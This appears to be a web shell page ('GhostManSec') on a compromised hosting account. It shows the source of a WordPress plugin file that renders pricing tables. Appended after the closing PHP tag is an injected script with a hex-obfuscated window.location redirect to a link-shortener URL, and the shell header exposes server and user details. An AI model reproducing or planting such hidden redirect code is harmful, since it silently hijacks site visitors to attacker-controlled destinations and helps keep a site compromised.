GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/anqa.it/wp-content/plugins/pixfort-core/functions/shortcodes/pricing.php
<?php


/* ---------------------------------------------------------------------------
 * Pricing Item [pix_pricing] [/pix_pricing]
 * --------------------------------------------------------------------------- */
if( ! function_exists( 'sc_pix_pricing' ) )
{
	function sc_pix_pricing( $attr, $content = null )
	{
		extract(shortcode_atts(array(
			'image'			=> '',
			'title'			=> '',
			'currency' 		=> '',
			'price' 		=> '',
			'period' 		=> '',
			'subtitle' 		=> '',
			'link_title'	=> '',
			'link' 			=> '',
			'featured' 		=> '',
			'features' 		=> '',
			'table_style' 		=> '',
			// 'animate' 		=> '',

			'style' 		=> '',
			'hover_effect' 		=> '',
			'add_hover_effect' 		=> '',
			'animation' 	=> '',
			'delay' 	=> '0',
			'pricing_padding' 	=> '',
			'rounded_box' 	=> '',


			'btn_title_bold' => 'font-weight-bold',
			'btn_italic' => '',
			'btn_secondary_font' => '',
            'btn_color'		=> 'primary',
			'btn_remove_padding'		=> '',
			'btn_text_align'		=> '',
            'btn_style' 		=> '',
            'btn_rounded' 		=> '',
            'btn_effect' 		=> '',
            'btn_icon' 		=> '',
			'btn_icon_position' 		=> '',
            'btn_icon_animation' 		=> '',
            'btn_size' 		=> 'md',
            'btn_text' 		=> '',
            'btn_link' 		=> '',
			'btn_target' 		=> false,
			'btn_popup_id' 		=> '',
			'btn_text_color' 		=> '',
            'btn_text_custom_color' 		=> '',
            'btn_hover_effect' 		=> '',
            'btn_add_hover_effect' 		=> '',
			'btn_animation' 		=> '',
			'btn_shadow_class' 		=> '',
			'btn_full' 		=> '',
			'btn_anim_delay' 		=> '0',

			'price_bold'		=> 'font-weight-bold',
			'price_italic'		=> '',
			'price_secondary_font'		=> '',
			'price_color'		=> 'heading-default',
			'price_custom_color'		=> '',
			'price_size'		=> 'h2',
			// 'price_custom_size'		=> '',

			'subtitle_bold'		=> '',
			'subtitle_italic'		=> '',
			'subtitle_secondary_font'		=> '',
			'subtitle_color'		=> 'body-default',
			'subtitle_custom_color'		=> '',

			'box_color'		=> 'transparent',
			'box_custom_color'		=> '',
			'pricing_content_align'		=> '',

			'is_elementor' 		=> false,
			'extra_classes' 		=> '',
			'css' 		=> '',

		), $attr));


        $btn_attrs = array(
            'btn_title_bold'		=> $btn_title_bold,
			'btn_italic' => $btn_italic,
			'btn_secondary_font' => $btn_secondary_font,
            'btn_color'		=> $btn_color,
            'btn_remove_padding'		=> $btn_remove_padding,
            'btn_text_align'		=> $btn_text_align,
            'btn_style' 		=> $btn_style,
            'btn_rounded' 		=> $btn_rounded,
            'btn_effect' 		=> $btn_effect,
            'btn_icon' 		=> $btn_icon,
			'btn_icon_position' 		=> $btn_icon_position,
            'btn_icon_animation' 		=> $btn_icon_animation,
            'btn_size' 		=> $btn_size,
            'btn_text' 		=> $btn_text,
            'btn_link' 		=> $btn_link,
            'btn_target' 		=> $btn_target,
            'btn_popup_id' 		=> $btn_popup_id,
			'btn_text_color' 		=> $btn_text_color,
            'btn_text_custom_color' 		=> $btn_text_custom_color,
            'btn_hover_effect' 		=> $btn_hover_effect,
            'btn_add_hover_effect' 		=> $btn_add_hover_effect,
			'btn_animation' 		=> $btn_animation,
			'btn_anim_delay' 		=> $btn_anim_delay,
			'btn_shadow_class' 		=> $btn_shadow_class,
			'btn_full' 		=> $btn_full,
        );

		$style_arr = array(
		   "" => "",
		   "1"       => "shadow-sm",
		   "2"       => "shadow",
		   "3"       => "shadow-lg",
		   "4"       => "shadow-inverse-sm",
		   "5"       => "shadow-inverse",
		   "6"       => "shadow-inverse-lg",
		 );

		 $hover_effect_arr = array(
			""       => "",
			"1"       => "shadow-hover-sm",
			"2"       => "shadow-hover",
			"3"       => "shadow-hover-lg",
			"4"       => "shadow-inverse-hover-sm",
			"5"       => "shadow-inverse-hover",
			"6"       => "shadow-inverse-hover-lg",
		 );

		 $add_hover_effect_arr = array(
			""       => "",
			"1"       => "fly-sm",
			"2"       => "fly",
			"3"       => "fly-lg",
			"4"       => "scale-sm",
			"5"       => "scale",
			"6"       => "scale-lg",
			"7"       => "scale-inverse-sm",
			"8"       => "scale-inverse",
			"9"       => "scale-inverse-lg",
		 );
		$output = "";

		$badge_attr = $attr;
		$badge_attr['text'] = $title;
		$badge_attr['css'] = '';
		$badge_attr['style'] = '';
		$badge_attr['hover_effect'] = '';
		$badge_attr['add_hover_effect'] = '';
		$badge_attr['extra_classes'] = '';

		$box_style = '';
		$css_class = '';
		if(function_exists('vc_shortcode_custom_css_class')){
		    $css_class = apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, vc_shortcode_custom_css_class( $css, ' ' ) );
		}
		$features_arr = [];
		if(is_array($features)){
			$features_arr = $features;
		}else{
			if(function_exists('vc_param_group_parse_atts')){
				$features_arr = vc_param_group_parse_atts( $features );
			}
		}



		$price_classes = pix_get_text_format_classes($price_bold, $price_italic, $price_secondary_font, $price_color);
		$price_classes .= ' '.$price_size;

		$subtitle_classes = pix_get_text_format_classes($subtitle_bold, $subtitle_italic, $subtitle_secondary_font, $subtitle_color);
		$price_style = '';
		if($price_color=='custom'){
			$price_style = 'style="color:'.$price_custom_color.' !important;"';
		}
		$subtitle_style = '';
		if($subtitle_color=='custom'){
			$subtitle_style = 'style="color:'.$subtitle_custom_color.';"';
		}
		$anim_class = '';
		$anim_type = '';
		$anim_delay = '';
		if(!empty($animation)){
			$anim_type = 'data-anim-type="'.$animation.'"';
			$anim_delay = 'data-anim-delay="'.$delay.'"';
			$anim_class = 'animate-in';
		}

		$box_classes = array();
		array_push($box_classes, 'bg-'.$box_color);
		if(!empty($box_color)&&$box_color=='custom'){
			if(!empty($box_custom_color)){
				$box_style = 'style="background:'.$box_custom_color.';"';
			}

		}

		if($style){
			array_push($box_classes, $style_arr[$style]);
		}
		if($hover_effect){
			array_push($box_classes, $hover_effect_arr[$hover_effect]);
		}
		if($add_hover_effect){
			array_push($box_classes, $add_hover_effect_arr[$add_hover_effect]);
		}
		$top_box_classes = '';
		if($is_elementor){
			array_push($box_classes, $rounded_box);
		}else{
			// array_push($box_classes, 'rounded-lg');
			$top_box_classes = 'rounded-lg';
		}


		$box_class_names = join( ' ', $box_classes );


        if($table_style=='top-box') {
			$output .= '<div class="card w-100 pix_pricing '.$extra_classes.' '.$pricing_padding.' '.$pricing_content_align.' '.$anim_class.' '.$css_class.'" '.$anim_type.' '.$anim_delay.'>';
		}else{
			$output .= '<div class="card w-100 pix_pricing '.$extra_classes.' '.$pricing_padding.' '.$pricing_content_align.' '.$anim_class.' '.$box_class_names.' '.$css_class.'" '.$box_style.'  '.$anim_type.' '.$anim_delay.'>';
		}

			if($table_style=='top-box'){
				$output .= '<div class=" '.$box_class_names.' '.$top_box_classes.' pix-p-20 rounded-lg2 pix-mb-20  bg-'.$box_color.'" '.$box_style.'>';
					if(!empty($title)) $output .= sc_pix_badge($badge_attr);
	            	$output .= '<h2 class="pt-3 '.$price_classes.'" '.$price_style.'>';
	                $output .= '<span class="currency">'. $currency .'</span>';
	                $output .= '<span>'. $price .'</span>';
	                $output .= '<sub class="text-small">'. $period .'</sub>';
	                $output .= '</h2>';
	            	if(!empty($subtitle)){ $output .= '<p class="m-0 text-small '.$subtitle_classes.'" '.$subtitle_style.'>'.$subtitle.'</p>'; }
			}else{
				if(!empty($title)) $output .= sc_pix_badge($badge_attr);
            	$output .= '<h2 class="pt-3 '.$price_classes.'" '.$price_style.'>';
                $output .= '<span class="currency">'. $currency .'</span>';
                $output .= '<span>'. $price .'</span>';
                $output .= '<sub class="text-small">'. $period .'</sub>';
                $output .= '</h2>';
            	if(!empty($subtitle)){ $output .= '<p class="m-0 text-small '.$subtitle_classes.'" '.$subtitle_style.'>'.$subtitle.'</p>'; }
			}

			if($table_style=='top-box'){
				$output .= '</div>';
			}

			if(!empty($features)){
				if($table_style=='top-box'){
					$output .= '<div class="pix-px-20">';
				}else{
					$output .= '<div class="pix-pb-102 pt-4">';
				}
					$f_attr = $attr;
					$f_attr['css'] = '';
					$f_attr['features_content_align'] = $pricing_content_align;

					$output .= sc_pix_feature_list($f_attr);
            	$output .= '</div>';
			}

			if(!empty($btn_text)){
            	$output .= '<div class="pix-mt-20">';
                    $output .= sc_pix_button($btn_attrs);
            	$output .= '</div>';
			}
        $output .= '</div>';
        $output .= "\n";

	    return $output;
	}
}


add_shortcode( 'pix_pricing', 'sc_pix_pricing' );

 ?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>